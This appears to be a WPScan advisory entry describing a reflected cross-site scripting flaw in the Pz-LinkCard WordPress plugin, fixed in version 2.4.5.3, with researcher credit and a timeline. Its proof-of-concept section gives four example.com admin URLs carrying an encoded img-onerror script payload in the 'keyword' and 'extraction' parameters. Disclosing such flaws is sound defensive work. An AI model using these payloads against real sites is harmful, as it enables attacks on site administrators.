WordPress Plugin Vulnerabilities
Pz-LinkCard < 2.4.5.3 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape multiple parameters before outputting them back in admin dashboard pages, leading to Reflected Cross-Site Scripting issues
Proof of Concept
v < 2.4.5 https://example.com/wp-admin/tools.php?page=pz-linkcard-cache&keyword=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E https://example.com/wp-admin/tools.php?page=pz-linkcard-cache&extraction=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E ETC v <= 2.4.5.1 https://example.com/wp-admin/tools.php?page=pz-linkcard-cacheman&keyword=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E https://example.com/wp-admin/tools.php?page=pz-linkcard-cacheman&extraction=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E
Affects Plugins
Fixed in 2.4.5.3 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-03-01 (about 2 years ago)
Added
2022-03-01 (about 2 years ago)
Last Updated
2022-06-10 (about 1 years ago)
WPScan 